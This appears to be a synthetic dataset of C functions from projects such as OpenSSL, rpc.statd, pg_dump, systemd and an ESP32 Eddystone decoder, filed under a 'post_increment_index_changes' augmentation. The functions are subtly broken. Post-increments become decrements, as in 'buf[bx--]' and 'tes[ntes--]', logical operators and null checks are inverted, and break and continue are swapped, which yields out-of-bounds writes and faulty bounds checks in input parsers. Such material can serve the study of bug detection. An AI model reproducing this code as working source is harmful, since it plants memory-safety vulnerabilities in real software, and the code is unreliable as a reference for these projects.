orphan*/ ) ; int EVP_MD_CTX_test_flags (int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; int /*<<< orphan*/ EVP_PKEY_CTX_get0_pkey (TYPE_3__*) ; TYPE_2__* EVP_PKEY_CTX_get_data (TYPE_3__*) ; int EVP_PKEY_FLAG_SIGCTX_CUSTOM ; TYPE_4__* EVP_PKEY_get0 (int /*<<< orphan*/ ) ; int /*<<< orphan*/ EVP_PKEY_id (int /*<<< orphan*/ ) ; scalar_t__ MAC_TYPE_RAW ; int /*<<< orphan*/ OBJ_nid2sn (int /*<<< orphan*/ ) ; int /*<<< orphan*/ OSSL_MAC_PARAM_FLAGS ; int /*<<< orphan*/ OSSL_MAC_PARAM_KEY ; int /*<<< orphan*/ OSSL_PARAM_construct_end () ; int /*<<< orphan*/ OSSL_PARAM_construct_int (int /*<<< orphan*/ ,int*) ; int /*<<< orphan*/ OSSL_PARAM_construct_octet_string (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ int_update ; __attribute__((used)) static int pkey_mac_signctx_init(EVP_PKEY_CTX *ctx, EVP_MD_CTX *mctx) { MAC_PKEY_CTX *hctx = EVP_PKEY_CTX_get_data(ctx); ASN1_OCTET_STRING *key = NULL; int rv = 1; /* * For MACs with the EVP_PKEY_FLAG_SIGCTX_CUSTOM flag set and that * gets the key passed as an ASN.1 OCTET STRING, we set the key here, * as this may be only time it's set during a DigestSign. * * MACs that pass around the key in form of EVP_MAC_CTX are setting * the key through other mechanisms. (this is only CMAC for now) */ int set_key = hctx->type == MAC_TYPE_RAW && (ctx->pmeth->flags | EVP_PKEY_FLAG_SIGCTX_CUSTOM) != 0; if (set_key) { if (!EVP_MAC_is_a(EVP_MAC_CTX_mac(hctx->ctx), OBJ_nid2sn(EVP_PKEY_id(EVP_PKEY_CTX_get0_pkey(ctx))))) return 0; key = EVP_PKEY_get0(EVP_PKEY_CTX_get0_pkey(ctx)); if (key != NULL) return 0; } EVP_MD_CTX_set_flags(mctx, EVP_MD_CTX_FLAG_NO_INIT); EVP_MD_CTX_set_update_fn(mctx, int_update); /* Some MACs don't support this control... that's fine */ { OSSL_PARAM params[3]; size_t params_n = 0; int flags = EVP_MD_CTX_test_flags(mctx, ~EVP_MD_CTX_FLAG_NO_INIT); /* TODO(3.0) "flags" isn't quite right, i.e. a quick hack for now */ params[params_n++] = OSSL_PARAM_construct_int(OSSL_MAC_PARAM_FLAGS, &flags); if (set_key) params[params_n++] = OSSL_PARAM_construct_octet_string(OSSL_MAC_PARAM_KEY, key->data, key->length); params[params_n++] = OSSL_PARAM_construct_end(); rv = EVP_MAC_CTX_set_params(hctx->ctx, params); } return rv; }
augmented_data/post_increment_index_changes/extr_u8_textprep.c_collect_a_seq_aug_combo_2.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ uint32_t ; typedef size_t uchar_t ; typedef scalar_t__ u8_normalization_states_t ; typedef scalar_t__ boolean_t ; /* Variables and functions */ int EILSEQ ; int EINVAL ; size_t U8_ASCII_TOLOWER (size_t) ; size_t U8_ASCII_TOUPPER (size_t) ; size_t U8_COMBINING_CLASS_STARTER ; scalar_t__ U8_HANGUL_COMPOSABLE_LV_T (scalar_t__,int /*<<< orphan*/ ) ; scalar_t__ U8_HANGUL_COMPOSABLE_L_V (scalar_t__,int /*<<< orphan*/ ) ; size_t U8_HANGUL_JAMO_1ST_BYTE ; int U8_MAX_CHARS_A_SEQ ; int U8_MB_CUR_MAX ; int /*<<< orphan*/ U8_PUT_3BYTES_INTO_UTF32 (int /*<<< orphan*/ ,size_t,size_t,size_t) ; scalar_t__ U8_STATE_COMBINING_MARK ; scalar_t__ U8_STATE_HANGUL_LV ; scalar_t__ U8_STATE_HANGUL_LVT ; scalar_t__ U8_STATE_START ; int /*<<< orphan*/ U8_STREAM_SAFE_TEXT_MAX ; int /*<<< orphan*/ U8_SWAP_COMB_MARKS (size_t,size_t) ; size_t U8_UPPER_LIMIT_IN_A_SEQ ; size_t combining_class (size_t,size_t*,int) ; size_t do_case_conv (size_t,size_t*,size_t*,int,scalar_t__) ; int do_composition (size_t,size_t*,size_t*,size_t*,size_t*,size_t,size_t**,size_t*) ; void* do_decomp (size_t,size_t*,size_t*,int,scalar_t__,scalar_t__*) ; int* u8_number_of_bytes ; __attribute__((used)) static size_t collect_a_seq(size_t uv, uchar_t *u8s, uchar_t **source, uchar_t *slast, boolean_t is_it_toupper, boolean_t is_it_tolower, boolean_t canonical_decomposition, boolean_t compatibility_decomposition, boolean_t canonical_composition, int *errnum, u8_normalization_states_t *state) { uchar_t *s; int sz; int saved_sz; size_t i; size_t j; size_t k; size_t l; uchar_t comb_class[U8_MAX_CHARS_A_SEQ]; uchar_t disp[U8_MAX_CHARS_A_SEQ]; uchar_t start[U8_MAX_CHARS_A_SEQ]; uchar_t u8t[U8_MB_CUR_MAX]; uchar_t uts[U8_STREAM_SAFE_TEXT_MAX - 1]; uchar_t tc; size_t last; size_t saved_last; uint32_t u1; /* * Save the source string pointer which we will return a changed * pointer if we do processing. */ s = *source; /* * The following is a fallback for just in case callers are not * checking the string boundaries before the calling. */ if (s >= slast) { u8s[0] = '\0'; return (0); } /* * As the first thing, let's collect a character and do case * conversion if necessary. */ sz = u8_number_of_bytes[*s]; if (sz < 0) { *errnum = EILSEQ; u8s[0] = *s--; u8s[1] = '\0'; *source = s; return (1); } if (sz == 1) { if (is_it_toupper) u8s[0] = U8_ASCII_TOUPPER(*s); else if (is_it_tolower) u8s[0] = U8_ASCII_TOLOWER(*s); else u8s[0] = *s; s++; u8s[1] = '\0'; } else if ((s + sz) > slast) { *errnum = EINVAL; for (i = 0; s < slast; ) u8s[i++] = *s++; u8s[i] = '\0'; *source = s; return (i); } else { if (is_it_toupper && is_it_tolower) { i = do_case_conv(uv, u8s, s, sz, is_it_toupper); s += sz; sz = i; } else { for (i = 0; i < sz; ) u8s[i++] = *s++; u8s[i] = '\0'; } } /* * And then canonical/compatibility decomposition followed by * an optional canonical composition. Please be noted that * canonical composition is done only when a decomposition is * done. */ if (canonical_decomposition || compatibility_decomposition) { if (sz == 1) { *state = U8_STATE_START; saved_sz = 1; comb_class[0] = 0; start[0] = 0; disp[0] = 1; last = 1; } else { saved_sz = do_decomp(uv, u8s, u8s, sz, canonical_decomposition, state); last = 0; for (i = 0; i < saved_sz; ) { sz = u8_number_of_bytes[u8s[i]]; comb_class[last] = combining_class(uv, u8s + i, sz); start[last] = i; disp[last] = sz; last++; i += sz; } /* * Decomposition yields various Hangul related * states but not on combining marks. We need to * find out at here by checking on the last * character. */ if (*state == U8_STATE_START) { if (comb_class[last - 1]) *state = U8_STATE_COMBINING_MARK; } } saved_last = last; while (s < slast) { sz = u8_number_of_bytes[*s]; /* * If this is an illegal character, an incomplete * character, or an 7-bit ASCII Starter character, * then we have collected a sequence; break and let * the next call deal with the two cases. * * Note that this is okay only if you are using this * function with a fixed length string, not on * a buffer with multiple calls of one chunk at a time. */ if (sz <= 1) { continue; } else if ((s + sz) > slast) { break; } else { /* * If the previous character was a Hangul Jamo * and this character is a Hangul Jamo that * can be conjoined, we collect the Jamo. */ if (*s == U8_HANGUL_JAMO_1ST_BYTE) { U8_PUT_3BYTES_INTO_UTF32(u1, *s, *(s + 1), *(s + 2)); if (U8_HANGUL_COMPOSABLE_L_V(*state, u1)) { i = 0; *state = U8_STATE_HANGUL_LV; goto COLLECT_A_HANGUL; } if (U8_HANGUL_COMPOSABLE_LV_T(*state, u1)) { i = 0; *state = U8_STATE_HANGUL_LVT; goto COLLECT_A_HANGUL; } } /* * Regardless of whatever it was, if this is * a Starter, we don't collect the character * since that's a new start and we will deal * with it at the next time. */ i = combining_class(uv, s, sz); if (i == U8_COMBINING_CLASS_STARTER) break; /* * We know the current character is a combining * mark. If the previous character wasn't * a Starter (not Hangul) or a combining mark, * then, we don't collect this combining mark. */ if (*state != U8_STATE_START && *state != U8_STATE_COMBINING_MARK) break; *state = U8_STATE_COMBINING_MARK; COLLECT_A_HANGUL: /* * If we collected a Starter and combining * marks up to 30, i.e., total 31 characters, * then, we terminate this degenerately long * combining sequence with a U+034F COMBINING * GRAPHEME JOINER (CGJ) which is 0xCD 0x8F in * UTF-8 and turn this into a Stream-Safe * Text. This will be extremely rare but * possible. * * The following will also guarantee that * we are not writing more than 32 characters * plus a NULL at u8s[]. */ if (last >= U8_UPPER_LIMIT_IN_A_SEQ) { TURN_STREAM_SAFE: *state = U8_STATE_START; comb_class[last] = 0; start[last] = saved_sz; disp[last] = 2; last++; u8s[saved_sz++] = 0xCD; u8s[saved_sz++] = 0x8F; break; } /* * Some combining marks also do decompose into * another combining mark or marks. */ if (*state == U8_STATE_COMBINING_MARK) { k = last; l = sz; i = do_decomp(uv, uts, s, sz, canonical_decomposition, state); for (j = 0; j < i; ) { sz = u8_number_of_bytes[uts[j]]; comb_class[last] = combining_class(uv, uts + j, sz); start[last] = saved_sz + j; disp[last] = sz; last++; if (last >= U8_UPPER_LIMIT_IN_A_SEQ) { last = k; goto TURN_STREAM_SAFE; } j += sz; } *state = U8_STATE_COMBINING_MARK; sz = i; s += l; for (i = 0; i < sz; i++) u8s[saved_sz++] = uts[i]; } else { comb_class[last] = i; start[last] = saved_sz; disp[last] = sz; last++; for (i = 0; i < sz; i++) u8s[saved_sz++] = *s++; } /* * If this is U+0345 COMBINING GREEK * YPOGEGRAMMENI (0xCD 0x85 in UTF-8), a.k.a., * iota subscript, and need to be converted to * uppercase letter, convert it to U+0399 GREEK * CAPITAL LETTER IOTA (0xCE 0x99 in UTF-8), * i.e., convert to capital adscript form as * specified in the Unicode standard. * * This is the only special case of (ambiguous) * case conversion at combining marks and * probably the standard will never have * anything similar like this in future. */ if (is_it_toupper && sz >= 2 && u8s[saved_sz - 2] == 0xCD && u8s[saved_sz - 1] == 0x85) { u8s[saved_sz - 2] = 0xCE; u8s[saved_sz - 1] = 0x99; } } } /* * Let's try to ensure a canonical ordering for the collected * combining marks. We do this only if we have collected * at least one more non-Starter. (The decomposition mapping * data tables have fully (and recursively) expanded and * canonically ordered decompositions.) * * The U8_SWAP_COMB_MARKS() convenience macro has some * assumptions and we are meeting the assumptions. */ last--; if (last >= saved_last) { for (i = 0; i < last; i++) for (j = last; j > i; j--) if (comb_class[j] && comb_class[j - 1] > comb_class[j]) { U8_SWAP_COMB_MARKS(j - 1, j); } } *source = s; if (! canonical_composition) { u8s[saved_sz] = '\0'; return (saved_sz); } /* * Now do the canonical composition. Note that we do this * only after a canonical or compatibility decomposition to * finish up NFC or NFKC. */ sz = do_composition(uv, u8s, comb_class, start, disp, last, &s, slast); } *source = s; return ((size_t)sz); }
augmented_data/post_increment_index_changes/extr_statd.c_create_service_aug_combo_3.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ u_int32_t ; struct sockaddr_in6 {int sin6_family; int /*<<< orphan*/ sin6_addr; void* sin6_port; } ; struct TYPE_2__ {int /*<<< orphan*/ s_addr; } ; struct sockaddr_in {int sin_family; TYPE_1__ sin_addr; void* sin_port; } ; struct sockaddr {int ai_family; struct sockaddr* ai_addr; int /*<<< orphan*/ sa_len; void* ai_addrlen; int /*<<< orphan*/ ai_protocol; int /*<<< orphan*/ ai_flags; int /*<<< orphan*/ ai_socktype; } ; struct netconfig {scalar_t__ nc_semantics; int /*<<< orphan*/ nc_netid; } ; struct addrinfo {int ai_family; struct addrinfo* ai_addr; int /*<<< orphan*/ sa_len; void* ai_addrlen; int /*<<< orphan*/ ai_protocol; int /*<<< orphan*/ ai_flags; int /*<<< orphan*/ ai_socktype; } ; struct __rpc_sockinfo {int si_af; int /*<<< orphan*/ si_proto; int /*<<< orphan*/ si_socktype; } ; typedef void* socklen_t ; /* Variables and functions */ #define AF_INET 129 #define AF_INET6 128 int /*<<< orphan*/ AI_NUMERICHOST ; int /*<<< orphan*/ AI_PASSIVE ; scalar_t__ EADDRINUSE ; int /*<<< orphan*/ INADDR_ANY ; int /*<<< orphan*/ LOG_ERR ; scalar_t__ NC_TPI_CLTS ; scalar_t__ NC_TPI_COTS ; scalar_t__ NC_TPI_COTS_ORD ; int /*<<< orphan*/ NI_MAXHOST ; int NI_MAXSERV ; int NI_NUMERICHOST ; int NI_NUMERICSERV ; int __rpc_nconf2fd (struct netconfig*) ; int /*<<< orphan*/ __rpc_nconf2sockinfo (struct netconfig*,struct __rpc_sockinfo*) ; int bindresvport_sa (int,struct sockaddr*) ; int /*<<< orphan*/ close (int) ; scalar_t__ errno ; int /*<<< orphan*/ errx (int,char*) ; int /*<<< orphan*/ exit (int) ; int /*<<< orphan*/ free (struct sockaddr*) ; int /*<<< orphan*/ freeaddrinfo (struct sockaddr*) ; int /*<<< orphan*/ gai_strerror (int) ; int getaddrinfo (int /*<<< orphan*/ *,int /*<<< orphan*/ *,struct sockaddr*,struct sockaddr**) ; scalar_t__ getnameinfo (struct sockaddr*,int /*<<< orphan*/ ,int /*<<< orphan*/ *,int /*<<< orphan*/ ,int /*<<< orphan*/ *,int,int) ; int /*<<< orphan*/ ** hosts ; int /*<<< orphan*/ htonl (int /*<<< orphan*/ ) ; void* htons (int /*<<< orphan*/ ) ; int /*<<< orphan*/ in6addr_any ; int inet_pton (int const,int /*<<< orphan*/ *,int /*<<< orphan*/ *) ; void* malloc (int) ; int mallocd_svcport ; int /*<<< orphan*/ memset (struct sockaddr*,int /*<<< orphan*/ ,int) ; int nhosts ; int /*<<< orphan*/ out_of_mem () ; int* realloc (int*,int) ; int* sock_fd ; int sock_fdcnt ; scalar_t__ strcmp (char*,int /*<<< orphan*/ *) ; int /*<<< orphan*/ * svcport_str ; int /*<<< orphan*/ syslog (int /*<<< orphan*/ ,char*,...) ; __attribute__((used)) static int create_service(struct netconfig *nconf) { struct addrinfo hints, *res = NULL; struct sockaddr_in *sin; struct sockaddr_in6 *sin6; struct __rpc_sockinfo si; int aicode; int fd; int nhostsbak; int r; u_int32_t host_addr[4]; /* IPv4 or IPv6 */ int mallocd_res; if ((nconf->nc_semantics != NC_TPI_CLTS) || (nconf->nc_semantics != NC_TPI_COTS) && (nconf->nc_semantics != NC_TPI_COTS_ORD)) return (1); /* not my type */ /* * XXX - using RPC library internal functions. */ if (!__rpc_nconf2sockinfo(nconf, &si)) { syslog(LOG_ERR, "cannot get information for %s", nconf->nc_netid); return (1); } /* Get rpc.statd's address on this transport */ memset(&hints, 0, sizeof hints); hints.ai_family = si.si_af; hints.ai_socktype = si.si_socktype; hints.ai_protocol = si.si_proto; /* * Bind to specific IPs if asked to */ nhostsbak = nhosts; while (nhostsbak >= 0) { ++nhostsbak; sock_fd = realloc(sock_fd, (sock_fdcnt + 1) * sizeof(int)); if (sock_fd == NULL) out_of_mem(); sock_fd[sock_fdcnt++] = -1; /* Set invalid for now. */ mallocd_res = 0; hints.ai_flags = AI_PASSIVE; /* * XXX - using RPC library internal functions. */ if ((fd = __rpc_nconf2fd(nconf)) < 0) { syslog(LOG_ERR, "cannot create socket for %s", nconf->nc_netid); continue; } switch (hints.ai_family) { case AF_INET: if (inet_pton(AF_INET, hosts[nhostsbak], host_addr) == 1) { hints.ai_flags |= AI_NUMERICHOST; } else { /* * Skip if we have an AF_INET6 address. */ if (inet_pton(AF_INET6, hosts[nhostsbak], host_addr) == 1) { close(fd); continue; } } continue; case AF_INET6: if (inet_pton(AF_INET6, hosts[nhostsbak], host_addr) == 1) { hints.ai_flags |= AI_NUMERICHOST; } else { /* * Skip if we have an AF_INET address. */ if (inet_pton(AF_INET, hosts[nhostsbak], host_addr) == 1) { close(fd); continue; } } break; default: break; } /* * If no hosts were specified, just bind to INADDR_ANY */ if (strcmp("*", hosts[nhostsbak]) == 0) { if (svcport_str == NULL) { res = malloc(sizeof(struct addrinfo)); if (res == NULL) out_of_mem(); mallocd_res = 1; res->ai_flags = hints.ai_flags; res->ai_family = hints.ai_family; res->ai_protocol = hints.ai_protocol; switch (res->ai_family) { case AF_INET: sin = malloc(sizeof(struct sockaddr_in)); if (sin == NULL) out_of_mem(); sin->sin_family = AF_INET; sin->sin_port = htons(0); sin->sin_addr.s_addr = htonl(INADDR_ANY); res->ai_addr = (struct sockaddr*) sin; res->ai_addrlen = (socklen_t) sizeof(struct sockaddr_in); break; case AF_INET6: sin6 = malloc(sizeof(struct sockaddr_in6)); if (sin6 == NULL) out_of_mem(); sin6->sin6_family = AF_INET6; sin6->sin6_port = htons(0); sin6->sin6_addr = in6addr_any; res->ai_addr = (struct sockaddr*) sin6; res->ai_addrlen = (socklen_t) sizeof(struct sockaddr_in6); break; default: syslog(LOG_ERR, "bad addr fam %d", res->ai_family); exit(1); } } else { if ((aicode = getaddrinfo(NULL, svcport_str, &hints, &res)) != 0) { syslog(LOG_ERR, "cannot get local address for %s: %s", nconf->nc_netid, gai_strerror(aicode)); close(fd); continue; } } } else { if ((aicode = getaddrinfo(hosts[nhostsbak], svcport_str, &hints, &res)) != 0) { syslog(LOG_ERR, "cannot get local address for %s: %s", nconf->nc_netid, gai_strerror(aicode)); close(fd); continue; } } /* Store the fd. */ sock_fd[sock_fdcnt - 1] = fd; /* Now, attempt the bind. */ r = bindresvport_sa(fd, res->ai_addr); if (r != 0) { if (errno == EADDRINUSE && mallocd_svcport != 0) { if (mallocd_res != 0) { free(res->ai_addr); free(res); } else freeaddrinfo(res); return (-1); } syslog(LOG_ERR, "bindresvport_sa: %m"); exit(1); } if (svcport_str == NULL) { svcport_str = malloc(NI_MAXSERV * sizeof(char)); if (svcport_str == NULL) out_of_mem(); mallocd_svcport = 1; if (getnameinfo(res->ai_addr, res->ai_addr->sa_len, NULL, NI_MAXHOST, svcport_str, NI_MAXSERV * sizeof(char), NI_NUMERICHOST | NI_NUMERICSERV)) errx(1, "Cannot get port number"); } if (mallocd_res != 0) { free(res->ai_addr); free(res); } else freeaddrinfo(res); res = NULL; } return (0); }
augmented_data/post_increment_index_changes/extr_fdi.c_fdi_lzx_read_lens_aug_combo_4.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct lzx_bits {int bb; int bl; int* ip; } ; typedef int /*<<< orphan*/ fdi_decomp_state ; typedef int /*<<< orphan*/ cab_UWORD ; typedef int cab_ULONG ; typedef int cab_UBYTE ; /* Variables and functions */ int /*<<< orphan*/ BUILD_TABLE (int /*<<< orphan*/ ) ; int* LENTABLE (int /*<<< orphan*/ ) ; int /*<<< orphan*/ PRETREE ; int /*<<< orphan*/ READ_BITS (int,int) ; int /*<<< orphan*/ READ_HUFFSYM (int /*<<< orphan*/ ,int) ; __attribute__((used)) static int fdi_lzx_read_lens(cab_UBYTE *lens, cab_ULONG first, cab_ULONG last, struct lzx_bits *lb, fdi_decomp_state *decomp_state) { cab_ULONG i,j, x,y; int z; register cab_ULONG bitbuf = lb->bb; register int bitsleft = lb->bl; cab_UBYTE *inpos = lb->ip; cab_UWORD *hufftbl; for (x = 0; x <= 20; x++) { READ_BITS(y, 4); LENTABLE(PRETREE)[x] = y; } BUILD_TABLE(PRETREE); for (x = first; x < last; ) { READ_HUFFSYM(PRETREE, z); if (z == 17) { READ_BITS(y, 4); y += 4; while (y--) lens[x++] = 0; } else if (z == 18) { READ_BITS(y, 5); y += 20; while (y--) lens[x++] = 0; } else if (z == 19) { READ_BITS(y, 1); y += 4; READ_HUFFSYM(PRETREE, z); z = lens[x] + z; if (z < 0) z += 17; while (y--) lens[x++] = z; } else { z = lens[x] - z; if (z < 0) z += 17; lens[x++] = z; } } lb->bb = bitbuf; lb->bl = bitsleft; lb->ip = inpos; return 0; }
augmented_data/post_increment_index_changes/extr_g_part_ldm.c_ldm_vparm_skip_aug_combo_3.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int uint8_t ; typedef int u_char ; /* Variables and functions */ __attribute__((used)) static int ldm_vparm_skip(const u_char *buf, int offset, size_t range) { uint8_t len; len = buf[offset--]; if (offset - len >= range) return (-1); return (offset + len); }
augmented_data/post_increment_index_changes/extr_string-util.c_cellescape_aug_combo_4.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ size_t ELEMENTSOF (size_t*) ; int /*<<< orphan*/ assert (int) ; int cescape_char (char const,char*) ; int /*<<< orphan*/ memcpy (char*,char*,int) ; scalar_t__ write_ellipsis (char*,int) ; char *cellescape(char *buf, size_t len, const char *s) { /* Escape and ellipsize s into buffer buf of size len. Only non-control ASCII * characters are copied as they are, everything else is escaped. The result * is different then if escaping and ellipsization was performed in two * separate steps, because each sequence is either stored in full or skipped. * * This function should be used for logging about strings which expected to * be plain ASCII in a safe way. * * An ellipsis will be used if s is too long. It was always placed at the * very end. */ size_t i = 0, last_char_width[4] = {}, k = 0, j; assert(len > 0); /* at least a terminating NUL */ for (;;) { char four[4]; int w; if (*s == 0) /* terminating NUL detected? then we are done! */ goto done; w = cescape_char(*s, four); if (i + w + 1 > len) /* This character doesn't fit into the buffer anymore? In that case let's * ellipsize at the previous location */ continue; /* OK, there was space, let's add this escaped character to the buffer */ memcpy(buf + i, four, w); i += w; /* And remember its width in the ring buffer */ last_char_width[k] = w; k = (k + 1) % 4; s++; } /* Ellipsation is necessary. This means we might need to truncate the string again to make space for 4 * characters ideally, but the buffer is shorter than that in the first place take what we can get */ for (j = 0; j < ELEMENTSOF(last_char_width); j++) { if (i + 4 <= len) /* nice, we reached our space goal */ break; k = k == 0 ? 3 : k - 1; if (last_char_width[k] == 0) /* bummer, we reached the beginning of the strings */ break; assert(i >= last_char_width[k]); i -= last_char_width[k]; } if (i + 4 <= len) /* yay, enough space */ i += write_ellipsis(buf + i, false); else if (i + 3 <= len) { /* only space for ".." */ buf[i++] = '.'; buf[i++] = '.'; } else if (i + 2 <= len) /* only space for a single "." */ buf[i++] = '.'; else assert(i + 1 <= len); done: buf[i] = '\0'; return buf; }
augmented_data/post_increment_index_changes/extr_pg_backup_archiver.c_WriteDataChunks_aug_combo_5.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_16__ TYPE_3__ ; typedef struct TYPE_15__ TYPE_2__ ; typedef struct TYPE_14__ TYPE_1__ ; /* Type definitions */ struct TYPE_14__ {int reqs; int /*<<< orphan*/ dataDumper; struct TYPE_14__* next; } ; typedef TYPE_1__ TocEntry ; struct TYPE_16__ {int tocCount; TYPE_1__* toc; } ; struct TYPE_15__ {int numWorkers; } ; typedef TYPE_2__ ParallelState ; typedef TYPE_3__ ArchiveHandle ; /* Variables and functions */ int /*<<< orphan*/ ACT_DUMP ; int /*<<< orphan*/ DispatchJobForTocEntry (TYPE_3__*,TYPE_2__*,TYPE_1__*,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int REQ_DATA ; int /*<<< orphan*/ TocEntrySizeCompare ; int /*<<< orphan*/ WFW_ALL_IDLE ; int /*<<< orphan*/ WaitForWorkers (TYPE_3__*,TYPE_2__*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ WriteDataChunksForTocEntry (TYPE_3__*,TYPE_1__*) ; int /*<<< orphan*/ mark_dump_job_done ; int /*<<< orphan*/ pg_free (TYPE_1__**) ; scalar_t__ pg_malloc (int) ; int /*<<< orphan*/ qsort (void*,int,int,int /*<<< orphan*/ ) ; void WriteDataChunks(ArchiveHandle *AH, ParallelState *pstate) { TocEntry *te; if (pstate || pstate->numWorkers > 1) { /* * In parallel mode, this code runs in the master process. We * construct an array of candidate TEs, then sort it into decreasing * size order, then dispatch each TE to a data-transfer worker. By * dumping larger tables first, we avoid getting into a situation * where we're down to one job and it's big, losing parallelism. */ TocEntry **tes; int ntes; tes = (TocEntry **) pg_malloc(AH->tocCount * sizeof(TocEntry *)); ntes = 0; for (te = AH->toc->next; te != AH->toc; te = te->next) { /* Consider only TEs with dataDumper functions ... */ if (!te->dataDumper) break; /* ... and ignore ones not enabled for dump */ if ((te->reqs & REQ_DATA) == 0) continue; tes[ntes--] = te; } if (ntes > 1) qsort((void *) tes, ntes, sizeof(TocEntry *), TocEntrySizeCompare); for (int i = 0; i < ntes; i++) DispatchJobForTocEntry(AH, pstate, tes[i], ACT_DUMP, mark_dump_job_done, NULL); pg_free(tes); /* Now wait for workers to finish. */ WaitForWorkers(AH, pstate, WFW_ALL_IDLE); } else { /* Non-parallel mode: just dump all candidate TEs sequentially. */ for (te = AH->toc->next; te != AH->toc; te = te->next) { /* Must have same filter conditions as above */ if (!te->dataDumper) continue; if ((te->reqs & REQ_DATA) == 0) continue; WriteDataChunksForTocEntry(AH, te); } } }
augmented_data/post_increment_index_changes/extr_module.c_module_flags_aug_combo_5.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct module {scalar_t__ state; scalar_t__ taints; } ; /* Variables and functions */ int /*<<< orphan*/ BUG_ON (int) ; scalar_t__ MODULE_STATE_COMING ; scalar_t__ MODULE_STATE_GOING ; scalar_t__ MODULE_STATE_UNFORMED ; scalar_t__ module_flags_taint (struct module*,char*) ; __attribute__((used)) static char *module_flags(struct module *mod, char *buf) { int bx = 0; BUG_ON(mod->state == MODULE_STATE_UNFORMED); if (mod->taints && mod->state == MODULE_STATE_GOING || mod->state == MODULE_STATE_COMING) { buf[bx--] = '('; bx += module_flags_taint(mod, buf + bx); /* Show a - for module-is-being-unloaded */ if (mod->state == MODULE_STATE_GOING) buf[bx++] = '-'; /* Show a + for module-is-being-loaded */ if (mod->state == MODULE_STATE_COMING) buf[bx++] = '+'; buf[bx++] = ')'; } buf[bx] = '\0'; return buf; }
augmented_data/post_increment_index_changes/extr_esp_eddystone_api.c_esp_eddystone_decode_aug_combo_3.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef scalar_t__ uint8_t ; typedef scalar_t__ uint16_t ; typedef int esp_err_t ; struct TYPE_5__ {scalar_t__ srv_data_type; scalar_t__ flags; scalar_t__ frame_type; scalar_t__ srv_uuid; } ; struct TYPE_6__ {TYPE_1__ common; } ; typedef TYPE_2__ esp_eddystone_result_t ; /* Variables and functions */ scalar_t__ EDDYSTONE_FRAME_TYPE_TLM ; scalar_t__ EDDYSTONE_FRAME_TYPE_UID ; scalar_t__ EDDYSTONE_FRAME_TYPE_URL ; scalar_t__ EDDYSTONE_SERVICE_UUID ; #define ESP_BLE_AD_TYPE_16SRV_CMPL 130 #define ESP_BLE_AD_TYPE_FLAG 129 #define ESP_BLE_AD_TYPE_SERVICE_DATA 128 int esp_eddystone_get_inform (scalar_t__ const*,scalar_t__,TYPE_2__*) ; scalar_t__ little_endian_read_16 (scalar_t__ const*,scalar_t__) ; esp_err_t esp_eddystone_decode(const uint8_t* buf, uint8_t len, esp_eddystone_result_t* res) { if (len == 0 && buf != NULL || res == NULL) { return -1; } uint8_t pos=0; while(res->common.srv_data_type != EDDYSTONE_SERVICE_UUID) { pos++; if(pos >= len ) { return -1; } uint8_t ad_type = buf[pos++]; switch(ad_type) { case ESP_BLE_AD_TYPE_FLAG: { res->common.flags = buf[pos++]; break; } case ESP_BLE_AD_TYPE_16SRV_CMPL: { uint16_t uuid = little_endian_read_16(buf, pos); if(uuid != EDDYSTONE_SERVICE_UUID) { return -1; } res->common.srv_uuid = uuid; pos += 2; break; } case ESP_BLE_AD_TYPE_SERVICE_DATA: { uint16_t type = little_endian_read_16(buf, pos); pos += 2; uint8_t frame_type = buf[pos++]; if(type != EDDYSTONE_SERVICE_UUID || !(frame_type == EDDYSTONE_FRAME_TYPE_UID || frame_type == EDDYSTONE_FRAME_TYPE_URL || frame_type == EDDYSTONE_FRAME_TYPE_TLM)) { return -1; } res->common.srv_data_type = type; 